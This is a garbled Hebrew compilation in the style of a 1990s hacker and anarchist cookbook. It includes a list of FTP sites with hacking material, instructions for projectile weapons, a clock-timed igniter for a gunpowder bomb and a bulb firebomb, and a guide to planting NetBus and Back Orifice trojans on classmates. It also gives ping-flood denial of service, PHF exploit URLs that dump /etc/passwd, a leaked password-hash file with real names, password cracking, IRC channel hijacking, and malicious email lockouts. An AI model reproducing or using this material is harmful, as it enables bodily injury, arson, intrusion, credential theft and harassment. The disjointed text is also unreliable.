ג.
ראינו קודם ש UDP-מבחין בין מקורות ויעדים שונים על גבי אותו מחשב ,על ידי שימוש
בפורטים .אפליקציה המעונינת לשלוח נתונים ברשת ,מספקת לשכבת ה UDP-את מספר
341
הפורט שלה ,ואת מספר הפורט איתו היא מעונינת לתקשר (במחשב המרוחק כמובן)UDP .
מקבל נתונים מאפליקציות רבות ,שלכל אחת מהן מספר פורט שונה ,ומעביר אותם בנפרד
לשכבת ה .IP -בכיוון ההפוך ,שכבת ה IP-מעבירה את ההודעות הנכנסות לשכבת ה,UDP-
שמחלקת אותן לאפליקציות המתאימות ,לפי מספרי פורט היעד המצוינים בהן .כך ,שכבת ה-
UDPמשמשת למעשה כמרבב ( ,)multiplexorהמאחד זרמים נפרדים של הודעות
מאפליקציות שונות לזרם אחד ויחיד העובר לשכבת ה ,IP -וכמפרד (,)de-multiplexor
המפריד בין ההודעות המגיעות משכבת ה IP-לזרמים שונים ,לפי מספרי הפורט אליהן מיועדות
ההודעות השונות.
כאשר אפליקציה מעונינת לתקשר עם אפליקציה אחרת ,במחשב מרוחק ,עליה לדעת מה מספר
הפורט עליו יושבת האפליקציה המבוקשת .לכן ,ישנה רשימה של פורטים מוגדרים מראש,
שהאפליקציה יודעת מהם .למשל ,בקשת DNSתשלח לפורט ,53ואילו הודעת tftpתשלח
לפורט .69
HaSaTaN
342
אם פול טקסטים(באנגלית) ותוכנותFTP שרתי
the FTP adress: directories: name of site (magazine etc..):
343
ftp.delmarva.com
N ftp.denet.dk /pub/security/tools/satan
N ftp.digex.net /pub/access/dunk
ftp.dsi.unimi.it
N ftp.dstc.edu.au /pub/security/satan
ftp.ee.lbl.gov
ftp.eff.org /pub/Publications/CuD (EFF)
ftp.elelab.nsc.co.jp /pub/security (Security)
ftp.etext.org (Etext)
N ftp.fc.net /pub/deadkat (TNO)
ftp.fc.net /pub/defcon (DefCon)
ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
U ftp.fc.net /pub/phrack (Phrack)
ftp.foobar.com
U ftp.funet.fi /pub/doc/CuD
ftp.gate.net /pub/users/laura
ftp.gate.net /pub/users/wakko
N ftp.giga.or.at /pub/hacker/ (H/P)
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.IEunet.ie /pub/security (Security)
ftp.ifi.uio.no
N ftp.indirect.com /www/evildawg/public_access/C&N/
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
N ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com /pub/security (Security)
N ftp.io.org /pub/users/gmouser
ftp.isi.edu
U ftp.lava.net /users/oracle/ (H/P
N ftp.lerc.nasa.gov /security
ftp.llnl.gov /pub (CIAC)
N ftp.luth.se /pub/unix/security
ftp.lysator.liu.se
N ftp.mcs.anl.gov /pub/security
ftp.microserve.net /ppp-pop/strata/mac (Mac)
ftp.near.net /security/archives/phrack (Zines)
ftp.nec.com
N ftp.net.ohio-state.edu /pub/security/satan
ftp.netcom.com /pub/br/bradleym (Virii)
ftp.netcom.com /pub/da/daemon9 (H/P)
N ftp.netcom.com /pub/fi/filbert
N ftp.netcom.com /pub/le/lewiz (Social
Engineering)
ftp.netcom.com /pub/va/vandal (DnA)
N ftp.netcom.com /pub/wt/wtech/
ftp.netcom.com /pub/zz/zzyzx (H/P)
ftp.netsys.com
ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
N ftp.ox.ac.uk /pub/comp/security
N ftp.ox.ac.uk /pub/crypto (Cryptology)
344
N ftp.ox.ac.uk /pub/wordlists (Wordlists)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
ftp.pop.psu.edu
N ftp.primenet.com /users/i/insphrk
N ftp.primenet.com /users/k/kludge (H/P)
N ftp.primenet.com /users/s/scuzzy (Copy Protection)
ftp.primus.com /pub/security (Security)
ftp.psy.uq.oz.au
N ftp.psy.uq.oz.au /pub/DES
N ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net /pub/lps (Home of the FAQ)
ftp.sert.edu.au
ftp.sgi.com
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to
Locks)
ftp.std.com /obi/Phracks (Zines)
N ftp.std.com /pub/joeshmoe (AOHELL)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
ftp.technet.sg
ftp.tis.com /pub (TIS)
N ftp.tisl.ukans.edu /pub/security
U ftp.uni-koeln.de. (Wordlists)
ftp.uspto.gov
ftp.uu.net /doc/literary/obi/Phracks (Zines)
U ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection)
ftp.vis.colostate.edu
ftp.vix.com
ftp.vortex.com
ftp.warwick.ac.uk /pub/cud (Zines)
N ftp.wi.leidenuniv.nl /pub/security
ftp.win.tue.nl /pub/security (Security)
N ftp.winternet.com /users/nitehwk (H/P)
ftp.wustl.edu /doc/EFF (EFF)
U ftp.zoom.com
N ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology)
garbo.uwasa.fi /pc/crypt (Cryptology)
N gti.net /pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu (Down for Summer)
N heffer.lab.csuchico.edu (Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
jerico.usc.edu
U invircible.com /mcsnet.users/crisadm (Virii)
l0pht.com (The L0pht)
lcs.mit.edu /telecom-archives (Telecom archives)
lod.amaranth.com (Legion of Doom)
mac.archive.umich.edu
345
mary.iia.org /pub/users/patriot (Misc)
monet.ccs.itd.umich.edu
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
N nic.sura.net /security
N oak.oakland.edu /pub/hamradio (Ham Radio)
N oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
N oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)
paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics (Pyro)
parcftp.xerox.com
N prism.nmt.edu /pub/misc (Terrorist
Handbook)
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
sable.ox.ac.uk (Wordlists)
scss3.cl.msu.edu /pub/crypt (Cryptology)
sierra.stanford.edu
spy.org (CSC)
suburbia.apana.org.au /pub/unix/security (Security)
sunsolve1.sun.com
tam.cs.ucdavis.edu
technion.ac.il
theta.iis.u-tokyo.ac.jp /pub1/security (Security)
titania.mathematik.uni-ulm.de /pub/security (Security)
toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
ugle.unit.no
N unipc20.unimed.sintef.no
vic.cc.purdue.edu
N vixen.cso.uiuc.edu /security
whacked.l0pht.com (Mac + H/P)
wimsey.bc.ca /pub/crypto (Cryptology)
HaSaTaN
346
רוגטקה רגילה
הרוגטקה הכי פשוטה שכל אידיוט יודע לבנות....
חומרים:
* קאטר.
הוראות הכנה:
קחו את הגומיה וחיתכו אותה ככה שהיא לא תהיה סגורה אלא תהיה פס אחד ארוך עם סוף
והתחלה.
לאחר מכן קחו את חתיכת העץ בצורת האות Yוחברו לכל אחד מהקצוות העליונות של חתיכת
העץ צד אחר של הגומיה .עכשיו שימו לב שתוכלו למתוח אותה ולירות איתה את חוטי הברזל.
לבסוף כל חתיכה אנחנו מעקמים לחצי ככה שהיא תראה כמו ראש חץ קטן .לאחר מכן אנחו
מלבישים את החתיכות על הגומיה ,מושכים ואז עוזבים.
זהירות לא לכוון לאיזור הפנים -זה מוציא עיניים בקצב וזה גם נורא כואב ומסוכן בכל מקום
אחר שזה פוגע.
טפו טפו
טפו טפו פשוט וטפשי כדי להעביר שעורים (עכשיו זה חופש אז תוכלו להתאמן על המיומנות
שלכם בכלי).
חומרים:
* נייר מחברות.
* מספריים.
הוראות הכנה:
קחו את הטוש והוציאו לו את החלק האחורי ואת המילוי שלו ,אם היה לכם קשה בעזרת
הידיים אז שתדעו לכם שבשביל זה יש מספריים.
לאחר מכן קחו נייר ותערבבו אותו עם מעט מים ככה שיהיה סמיך ואז תכניסו אותו לקצה
ותנשפו חזק .לאחר מכן הנייר יעוף החוצה בגלל לחץ האוויר שנאסף בטוש.
ושבסוף ייצא החוצה בחוזקה והעיף את הנייר רחוק( .אל תדאגו זה בכלל לא כואב אבל בכל זאת
אל תכוונו לעיניים!!!).
Golgolet & HaSaTaN
347
מקלע טוש
מקלע שהמצאתי שהוא נורא חזק ומסוכן .בנוי על עיקרון הטפו טפו והרוגטקה.
חומרים:
* טוש חזק (עדיף כמה שיותר עבה).
* גומיה חזקה נורא.
* שיפודים.
* מספריים/סכין.
הוראות ההכנה:
קחו את הטוש והוציאו ממנו את החלק האחורי שחוסם את המילוי ואת המילוי ,לאחר מכן עשו
שני חורים בטוש שיהיו לא גדולים ממש ושיהיו בדיוק אחד מול השני.
על החורים חובה להיות החלק האחורי של הטוש .עכשיו ,קחו את הגומיה וגזרו אותה ככה
שתיהפך לפס ארוך ואז תשחילו אותה בחורים ותקשרו אות שני הצדדים שלה טוב טוב ככה
שכשתמתחו אותו היא לא תצא !!!
לאחר מכן הכניסו את השיפוד דרך הפתח הקידמי הקטן ותתפסו אותו בעזרת האצבעות ,כעת
תמשכו את המקל ואת הגומיה החזקה ביחד באותו זמן לאחור ותעזבו .השיפוד יטוס חזק
לאללה ,ויעשה חור במה שיהיה מולו (בתנאי שזה :בנאדם ,נייר ,קלקר או כל דבר אחר שהוא
רך יחסית לשיפוד).
מה שטוב במקלע הזה זה היציבות שהחור הקדמי נותן לו ובעקבות כך המקלע הזה גם נורא
מסוכן וגם נורא מדוייק.
גומיות למקלעים
גומיות על רמה:
* פנימית של אופניים
* גומיות של משקפות
* גומיות ממקלעים של פועלים זרים מתאילנד (הכי יעילות ,אבל הסיכוי שתמצאו כאלה הוא
נמוך ביותר)
תלכו למקומות עבודה של פועלים זרים ותחפשו כשאין שם אף אחד(....מסוכן -זה נחשב כמו
פריצה למקום ולכן לא שווה לבצע את זה).
348
מנגנון השעיה לנפצים
מצרכים:
שעון מעורר עם מחוגים מהסוג הפשוט ביותר!(המרובעים והמכוערים)
מלחם(כדאי! לתוצאות טובות יותר(הרבה יותר)+בדיל
מברג קטן,גדול,בינוני...
בטריה ( 6-9Vזה יוצא הכי טוב!! פחות זה לא תמיד עובד)
בית בטריות(ל 9זה משהו עם מחבר עגול ומחבר משושה(מתומן...אף פעם לא ספרתי))
(ל 6זה 4בטריות של )1.5
בקיצר משהו שיש לו 2חוטים ()-,+שמהם
יוצא 6-9V
מנורה 75W
שקית נילון
חוט חשמל בודד קצר( 10סנטימטר)
כדור של רובה/אקדח/תותך(...משהו דליק! אפשר גם נייר טואלט ספוג בדלק/אלקוהול אבל אז
צריך השהיה יותר
קצרה כי האלקוהול מתאדה ולא ישאר)!...
קצת שכל.....
לעבודה
קח את השעון ותפתח לו את האחורה בעדינות תזהר הרבה גלגלי שיניים יעופו תאסוף אותם
ותרקה איך הם היו
מונחים אתה תראה מעגל חשמלי עם נקודה שחורה גדולה כזאת(זה המעין ג'וק שיש במחשב
סגנון מוזר של )CPU
זה לא מעניין אותנו יש שם כנו עמוד בצבע כסף זה הקברצ' הדבר שעושה שהשעון יתקתק הוא
רועד ועל
פי זה מזיז את השעון ..גם זה לא מעניין אותנו יש שם גם איזה דבר עגול שחור (בד"כ) זה
הזמזם
הדבר שמעיר אותך כל בוקר לביה"ס (אם אתה רוצה להתנקם בו תלוש ושרוף אבל לא עם השעון
הזה
כי אתה צריך להכין ממנו פצצה!) את זה אנחנו צריכים!! אה ועוד משהו יש שם איזה מוט ברזל
שמתחתיו
יש מעין משהו בצבע כסף אם הם נוגעים אחד בשני הם גורמים לזמזם לזמזם(ביפ ביפ ,ביפ
ביפ)...
טוב קח את החוט הבודד ותגע עם קצה אחד שלו במוט הכסוף והקצה השני תנסה באחד
הרגליים של הזמזם
אחת הרגליים תגרום לרישרוש בזמזם זה סימן שהרגל השניה זאת הרגל שאותה אנחנו צריכים
קח את השקית תכניס לתוכה את המנורה ותנפץ בעדינות!! על משהו קשה
(אל תזרוק את השקית על הריצפה כדי שלא תפצע)ישאר לך את הלמטה של המנורה (כמו בורג)
ועמוד זכוכית עם 4חוטי חשמל בולטים ,חוט להט הדבר שעושה את האור
פה יש 2שיטות:
)1להשתמש במנורה כמו שהיא את אחד החוטים של בית הבטריה לחלק התחתון של המנורה
וחוט אחד(מהחוטים הנפרדים) מהצד של המנורה אל אותה הרגל של הזמזם שלא רישרשה(הכל
בהלחמה!)
עכשיו הקטע המסוכן קח חתיכת נייר (לא נייר כסף )...וסים בין המוט כסף לכסף שמתחת
כדי שהשעון לא יתחחיל לצפצף הזמן שאתם
מלחימים קח את החוט שנשאר מהבית בטריה תלחים לקצה של המוט כסף.
)2לחתוח את החוט להט ולחבר אותו בניפרד(הרבה יותר מסובך ,יותר איכותי!)
עושים אותו הדבר רק במקום לחבר במנורה ללמטה של הבורג ולצד פשוט מחברים לכל צד של
החוט להט
349
עכשיו תוציאו את הדף בזהירות בלי ללחוץ עך המוט הכסף ותחברו הכל כמו שהיה בהתחלה
אבל תשאירו את הבטריות ואת החוט להט בחוץ
עוד פעם 2שיטות:
)1אבקת שריפה של כדור-תכניסו את האבק שריפה לתוך נייר טואלט(אחרי שפירקתם
אותו(חור בקיר יספיק )...תניחו את החוט להט על הנייר ושגם יגע
באבקה ותעטפו את החוט להט עם הנייר טואלט בזהירות החוט מאוד רגיש ולא כדאי שיקרע!
מעל/בתוך הנייר תחברו את הפצצה תחבנו את השעון לשעה שאתם רוצים שזה יתפוצץ תחביאו
במקום שלא
ישימו לב
)2אותו הדבר רק עם נייר ספוג בחומר מתלקח (דלק/אלקוהול)...
מה שיקרה זה שמתי שיגיע הזמן של השעון מצפצף מוט הכסף ירד ויסגור מעגל עם הזמזם אבל
אמחנו עשינו
עוד מעגל שמתחבר לזה עם 9Vולא 1.5Vשמתחבר לחות להט ואנחנו מנצלים את התיזמון
והמעגל של השעון
לצורך הדלקת הפצצה בשרטוט גרוע זה בערך ככה:
\\/\/\/\/\/\/נפץ\/\/\/\/\/\/\/
חוט להט
V 9/6
היה פה
זמזם
V 5 . 1
HFM
שיטה שניה
פשוט לפתוח את השעון להוציא את הזמזם לחבר במקום את המנורה לחבר את החוט להט
לפתיל של הנפץ ואז במקום שהשעון יצפצץ הוא יפוצץ את הנפץ
HFM
350
פצצת מנורה
מצרכים:
*קצת מזל.
*צלוטיפ.
*מנורת להט.
*מזרק.
אופן ההכנה:
לשבור חור קטן במנורה להכניס כל דבר דליק (אבק שריפה ,דלק ,וכו')...את הדלק אם המזרק.
להכניס לבית מנורה
חשוב מאוד
HFM
351
מקלע הכי טוב שיש
מקלע זה הוא ירושה מאבי מקלע פיצוצי כדאי כדאי כדאי!!!
מצרכים:
*פטיש.
*גומיות רגילות.
*דבק /צלוטיפ.
אופן ההכנה:
לדפוק את המסמר בחלק העליון כמו בציור הבא:
קרש
שזה יראה כך
איך יורים:
תולים את הגומיה על המסמר מעבירים אותה לאורך כל הקרש ואחר כך מחניסים את הקפיץ
לאטב שמודבק על הקרש וכשלוחצים על האטב זה עף למרחקים אדירים ואוד כואב
מראה סופי מהצד
HFM
מטען צינור
352
חומרים:
HFM
פריצה למחשב
353
שאלה קשה ,לא בהכרח :אם אתה מקצוען אז היא ממש לא קשה יש כמה שיטות אבל פה אני
יסביר את הדרך הכי
נפוצה " -הדלת האחורית".
הדלת האחורית אומרת שאתם נכנסים למחשב של הקורבן לא בדרך הישירה אלא בדרך
המתוחכמת.
צריך לשלוח קובץ (סוס טרויאני או דלת אחורית) לקורבן וכשהוא יפעיל אצלו את הקובץ הוא
פותח את הדלת
בלי שידע.
אפשריות רבות פתוחות לפניכם למשל גישה לכל הקבצים במחשב של הקורבן ,מחיקת קבצים,
העתקת קבצים,
ראית מסך ,ראית סיסמאות האינטרנט ,הפעלה של תוכניות ,פתיחה וסגירה של ה CD-ROM
ועוד מלא אפשרויות.
תוכנות הדלת האחורית בנויות על שני קבצים.
הקובץ Clinetאמור להיות אצל מי שרוצה להתקיף .והוא הקובץ שהקורבן אמור להפעיל.
הקובץ מנטרל את מערכת ההגנה של הקורבן ,ומאפשר לך שליטה מלאה על מחשב שלו.
סוסים טוריאנים יכולים להיות רק בקבצים בסיומות EXE COM BATאו .VBS
דלתות אחוריות וסוסים טרויאנים שמאפשרים פריצה למחשב יכולים להיות רק בסיומות EXE
COMאו ,VBS
אבל כמעט תמיד הם נמצאים רק בסיומת של .EXE
אני לא יסביר איך פורצים בכל תוכנות הפריצה כי כל התוכנות עובדות בדיוק על אותו עיקרון.
התוכנות הנפוצות ביותר והפשוטות ביותר לפריצת מחשבים הם NetBusו,Back Orifice-
ובקיצור NBו ( BOאפשר להוריד אותם באתר).
יש תוכנות פריצה יותר מסובכות כמו למשל .Happy99
אם אתם משתשמים בנטבס (בגרסה 1.60ומעלה) אתם צרכים לשלוח את הקובץ Patch.exe
(שמצורף עם התוכנה,
הקובץ הוא בעל אייקון של לפיד על רקע כחול ותופס בקירוב 462קילובייט ,בגרסאות יותר
נמוכות שם הקובץ
הוא SysEdit.exeוהאייקון שלו הוא גלגל שיניים אפור)
לקורבן שאילו אתם רוצים לפרוץ ,אם הוא יפעיל את הקובץ אז הקובץ ינטרל את מערכת
האבטחה שלו ויאפשר
לכם לפרוץ למחשב שלו ,הקובץ גם יעתיק את עצמו לתיקית החלונות במחשב של הקורבן ויפעיל
את עצמו בכל
פעם שהוא יפתח את המחשב.
אם אתם רוצים להיות יותר מותוכמים אתם יכולים לשלוח לו טרויאן אחר שמדומה למשחק,
תכונה ,תמונה,
הודעה וכו' ,ובעצם הקובץ מתקין את הפטצ' של NetBusאו של Back Orificeמבלי שהקורבן
ידע.
יש אפילו תוכנות שבעזרתם אתם יכולים ליצור בעצמכם טרויאנים!
כדי לפרוץ למחשב אתם צריכים לדעת גם את מספר ה IP-שלו.
(לכל מחשב שמחובר לאינטרנט יש מספר שמאתר אותו -האיי פי שלו ,באמצעות האיי פי
המחשב מקבל ושולח
מידע לאינטרנט ,מספר האיי פי אמור להשתנות אחרי כל התקשרות לאינטרנט)
אני ממליץ לכם לפרוץ לאנשים בעזרת האייסיקיו ,אז כדי לגלות את האיי פי של מי שנמצא
ברשימה שלכם
תשתמשו בתוכנה icq ip snifferוהיא תגלה אוטומטית את מספרי האיי פי.
אם אתם רוצים לשלוח את הטרויאן בדרך אחרת ,תשתמשו בתוכנה ip snifferכדי לגלות את
האיי פי.
יש גם טרויאנים שמגלים אוטומטית את מספר האיי פי של הקורבן.
עכשיו (אחרי שאתם יודעים את האיי פי של הקורבן ,ואחרי שהוא פתח את ה )Patch -תפתחו
את נטבס,
תירשמו את האיי פי איפה שצריך ,ותילחצו על הכפתור ,Connectו ...פרצתם למחשב שלו !
עכשיו אתם יכולים למחוק לו את כל ההרדיסק ,להסתכל לו בקבצים ,למחוק לו קבצים ,לגרום
למחשב שלו
354
להפעיל תוכניות ,אתרים ,דפי אינטרנט ,תמונות וקבצי סאונד ,ואפילו לפתוח לו את ה CD-
.ROM
אם אתם משתמשים ב Back Orifice-אתם צרכים לשלוח לקורבן את הקובץ NotBO.exeואם
הוא יפעיל את הקובץ
אז הקובץ יעתיק את עצמו לתיקיית ה System -של Windowsלשם '( ' .exeרווח נקודה )exe
ויריץ את עצמו
אצל הקורבן בכל פעם שהוא יפעיל את המחשב ,הקובץ הוא בעל אייקון שקוף ותופס בקירוב
122קילובייט.
אפשר לפרוץ למחשבים בעזרת NetBusאו Back Orificeגם דרך סריקה אקראית של מספרי
איי פי שמשתמשי
המחשבים שלהם הפעילו את הפטצ' של תוכנות הפריצה.
אני המלצתי לכם לפרוץ לאנשים דרך האייסיקיו בגלל שלוש סיבות:
-אתם יכולים לדעת בקלות את האיי פי של מייי שאתם רוצים לפרוץ אליו ,ואתם גם יכולים
לשלוח לו את
הטרויאן דרך האייסיקיו.
-אתם יכולים לדעת מלא פרטים על מי שאתם רררוצים לפרוץ למחשב שלו:
וכך אתם יכולים לבחור אם לפרוץ למישהו בארץ או מארץ אחרת ,אני משער שכמעט לכל
הכיתה שלכם יש
אייסיקיו אז עם מישהו עיצבן אותכם זאת ההזדמנות שלכם לנקום בו מבלי שידע.
(אם אתם מתכוונים לפרוץ למישהו מהארץ אז תשנו את כל הפרטים שלכם ללא אמיתים ואל
תשנו אותם בחזרה
אחר-כך ,ואם זה למישהו שאתם מכירים אז אתם צריכים לפתוח אייסיקיו חדש שבו כל
הפרטים שלכם יהיו
וישארו לא אמיתיים! שלא יחשוד שאתם פרצתם למחשב שלו!).
-אם אתם פורצים למישהו למחשב ואתם גם מבייינים בהאקינג אתם יכולים לפרוץ לו את
האייסיקיו ,ואז לשלוח
הודעות בשמו ,לשלוח לאנשים טרויאנים דרכו.
אתם גם יכולים לפרוץ אייסיקיו של אנשים גם מבלי לפרוץ למחשב שלהם.
ולסיכום:
כדי לפרוץ למחשב צריך:
* תוכנת פריצה
* לשלוח לקורבן סוס טרויאני או דלת אחורית ושהוא יפתח אותו
* לדעת את מספר האיי פי של הקורבן
HFMאו program44
355
Progaram44
356
צריך לכתוב את הפקודה ב DOS-שהאיקסים הם האיי פי של האתר המינוס טי אומר שזה לא
יפסיק ולא אומר כמה
בייטים לשלוח לו אם אתם רוצים להגביר את הדפיקה בדלת צריך להרים את המספר 256
למספר יותר גבוה
ולהפעיל בכמה חלונות.
האיי פי של האתר רשום בדפדפן למטה כשאתם נכנסים לאתר ,כשאתם מפילים אתר בשיטה
הזאת הוא חייב להיות
עם שרת משלו (לאתרים שנמצאים על אותו שרת יש כתובת איי פי זהה ,לאתרים פרטיים אין
בדרך-כלל שרת
עצמאי משלהם והם ממוקמים על שרת אחר).
אני מסתמך על זה שאני בין המאות היחידות בארץ שיש להם יוניקס אז בלפרוץ אתר אני
ישתמש בפקודת
לחלונות ,בואו נתחיל יש הרבה מאוד שיטות להפלת אתרים ,יש איזה מיליון שיטות לפרוץ
לאתרים אבל יש
שלוש מפורסמות:
– PHF, FTP, Exploitאקספלויט היא הכי טובה הכי מקצועית והיא גם הכי מסובכת.
שיטת ה Exploits -הכי טובה הכי מקצועית והכי מסובכת מבוססת על Telnetבדרך כלל.
אני יכול להגיד לכם בגדול ששיטות האקספלויט מבוססות על תקלות נפוצות בשרתים
שנמצאות בזמן מסוים.
במסמך זה אני יסביר את שתי השיטות האחרות Anonymos FTPו.PHF -
אז פריצה לאתר (או לכל שרת אחר) היא בשלושה שלבים:
357
.הדרך הקלה ביותר (יחסית ליעילות שלה) היא אף טי פי אנונימי
fldl0001:oS6quCRbDkmuM:537:300:Diane Laing:/home/fldl0001:/bin/bash
alastair:UZ9MFB7pOLvH6:540:100:Alastair
Sommerville:/home/alastair:/bin/bash
y2aberne:SjfSyVTnZ3ZT6:541:300:Kate Abernethy:/home/y2aberne:/bin/bash
y2ronxin:Ter0LeetG7uH6:542:300:Maggie Ronxin:/home/y2ronxin:/bin/bash
y2fair:.HocpfcuhgBbU:543:300:Jane Fair:/home/y2fair:/bin/bash
y2mcbrid:faARb1ftg.xfg:544:300:Emma McBride:/home/y2mcbrid:/bin/bash
y2hunter:HdXaBQoGpdR1Q:545:300:Gavin Hunter:/home/y2hunter:/bin/bash
y2marsha:3dtDG9VDCAXAw:546:300:Ruth
Marshall:/home/y2marsha:/bin/bash
y2halket:AcuYHIXytcDac:547:300:Steven Halkett:/home/y2halket:/bin/bash
y2macfar:g1k5tnbE3mn4w:548:300:Cassidy
MacFarlane:/home/y2macfar:/bin/bash
d2wilson:u7TfMN0MeKPjY:550:300:Robert Wilson:/home/d2wilson:/bin/bash
d2hunter:b7wdUmJobrfuc:551:300:Douglas Hunter:/home/d2hunter:/bin/bash
d2bell:k9SnbgYAdblnI:552:100:David Bell:/home/d2bell:/bin/bash
d2lane:eArmBPOBOn3J.:553:300:David Lane:/home/d2lane:/bin/bash
y2bentle:A725bDhP/gCNE:554:300:Scott Bentley:/home/y2bentle:/bin/bash
y2bentle:A725bDhP/gCNE:554:300:Scott Bentley:/home/y2bentle:/bin/bash
root:*:0:0:Charlie &:/root:/bin/csh
:toor:*:0:0:Bourne-again Superuser:/root
:daemon:*:1:31:Owner of many system processes:/root
operator:*:2:20:System &:/usr/guest/operator:/bin/csh
bin:*:3:7:Binaries Commands and Source,,,:/:/nonexistent
:games:*:7:13:Games pseudo-user:/usr/games
news:*:8:8:News Subsystem:/:/nonexistent
:man:*:9:9:Mister Man Pages:/usr/share/man
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/nonexistent
nobody:*:65534:65534:Unprivileged user:/nonexistent:/nonexistent
358
ftp:*:14:5:Anonymous FTP Admin:/var/ftp:/bin/date
y2bentle:*:554:300:Scott Bentley:/home/y2bentle:/bin/bash
אז עכשיו לחלק המעשי אתם צריכים להיכנס לאתר שאליו אתם רוצים לפרוץ דרך ,FTP
כדי להיכנס לאתר דרך אף טי פי בדפדפן צריך לרשום:
ftp://webpage_goes_here
אם אתם מנסים להיכנס דרך אף טי פי בדפדפן מומלץ מאוד להשתמש בנטסקייפ.
כדאי לדעת שכמעט 99%מהשרתים לא מאפשרים כניסה דרך אף טי פי אנונימי.
רוב הפעמים לא תצליחו ותיקבלו הודעות כמוAnonymous Users Not Allowed :
מה שאומר שהאתר לא מאפשר או חוסם גישה לכניסה אנונימית דרך אף טי פי.
במקרה שלא הצלחתם אתם יכולים להפעיל את FTP Clientשהורדתם או כל תוכנת FTP
אחרת ולנסות להיכנס,
רוב הפעמים לא תצליחו ,אז אתם צריכים לנסות לשחק עם ה ports-מה שקוראים באנגלית
.port surfing
אם האתר עליו ניסיתם להיכנס מוגן חזק דרך FireWallאז אתם צריכים להתחיל לעשות
דברים כמו Traceכדי
לראות איזה מחשבים עובדים עם המחשב הזה ולנסות לפרוץ עליהם.
כשמנסים להיכנס לאתר דרך אף טי פי בתוכנת FTP Clientצריכים למלא את הפרטים
הבאים:
אם הצלחתם להיכנס לאתר ב FTP -דרך הדפדפן או דרך תוכנת FTP Clientאתם אמורים
לראות לפחות 4תיקיות:
bin/
etc/
lib/
pub/
תחפשו קובץ בשם passwdאו בשם passwd.dbבתיקיה etcותעתיקו אותו למחשב שלכם.
שיטת ה PHF-לפריצת אתרי – Webאני לא בטוח אם מסמך זה יעזור למישהו ,שיטת הPHF-
היא שיטה פשוטה מאוד
אבל ביותר מ 99%-מהפעמים היא לא עובדת ,פעם היא עבדה אבל השרתים למדו להתגונן
ממנה.
כל מי שמבין קצת בהאקינג (ולא סתם מזין את המוח) יודע שכדי לפרוץ לאתר אתה צריך
להיכנס לדף אנונימי
להוריד את קובץ הפס וורד ולפרוץ אותו עם .Cracker
אז הנה זה בא:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
או:
http://webpage_goes_here/cgi-bin/phf?Qalias=j00%ffcat%20/etc/passwd
איפה שכתוב webpage goes here :כותבים את כתובת האתר.
אם הצלחתם תראו את קובץ ה passwd -ותעתיקו אותו למחשב שלכם.
עכשיו אחרי שהישגתם את קובץ ה passwd -אתם צריכים להעתיק אותו לתיקיה של הקראקר
ולהעתיק לתיקיה של
359
הקראקר גם את קובץ ה Dictionary Word List-שהורדתם.
אם אתם משתמשים בקראקר John the Ripperתיכנסו דרך DOSלתיקיה של הקראקר
ותיכתבו:
john –w:Dictionary_FileName_goes_here Password_FileName_goes_here
הקראקר ינסה לחבר כל מילה שנמצאת ב Dictionary Word List-לבין הסיסמה המוסתרת
בקובץ הpasswd -
עד שהוא ימצא את השילוב המתאים.
אם הצלחתם הוא יתן לכם UserNameו PassWord -ברוב הפעמים יותר מאחד.
אם אתם משתמשים בקראקר Cracker Jackאתם חייבים לצאת מחלונות ל DOS-כי
הקראקר חייב לעבוד במצב
“אמיתי" של MS-DOSבגלל שהוא משתמש ב"זכרון נקי”.
כאשר תפעילו את הקראקר הוא ישאל אותכם לגבי ה Password File -וה:Dictionary File -
Pwfile(s): Password File
Wordfile: Dictionary File
Program44
נט ספליט
נט ספליט זה מן שגיאה בשרת :התפצלות לזמן קצוב שיכולים לנצל כדי להשתלטות על ערוצים
שלמים,
כאשר יש נט ספליט תדאגו שלא יהיה אף אחד בערוץ שאתם נמצאים בו תיצאו מהערוץ וכנסו
חזרה והנה האופ
עכשיו זו לא כל העבודה :חכו שכולם יגיעו חזרה לערוץ זה לוקח מנימום 3-4דקות מקסימום
חצי שעה והנה
להם אין אופ ולכם יש עכשיו תעשו מהר רג'יסטר לערוץ ותזההו והערוץ כולו בשליטה שלכם
אתם יכולים לעשות
כל מה שעולה לכם בראש הכל פשוט הכל
Program44
360
סגירת תיבות אי מאייל
אם משהו מעצבן אותכם ואתם רוצים לסגור לו את חשבון האימייל אתם יכולים לעשות זאת
בקלות,
אתם צריכים להכנס לאתר של ספק חשבון האימייל שלו ,ולנסות להכנס -כל פעם תכתובו
סיסמה שונה.
אם תעשו את זה 30-40פעמים ברציפות החשבון יסגר אוטומטית מטעמי ביטחון.
Program44
361
מוכר הפלאפל -שימחה ריף
הבלשית -מירה צח
הטייסים -אבי רון ואלי קופטר
ישנוני -ניר דמתי שמות מצחיקים
החמוד -מיכה מוד הרוסי המסומם -אלכס טזי
הפקידה -בטי פול החוקר -מישה דד
המלשינים -אודי בר ועוזי מר השברירית -עדי נה
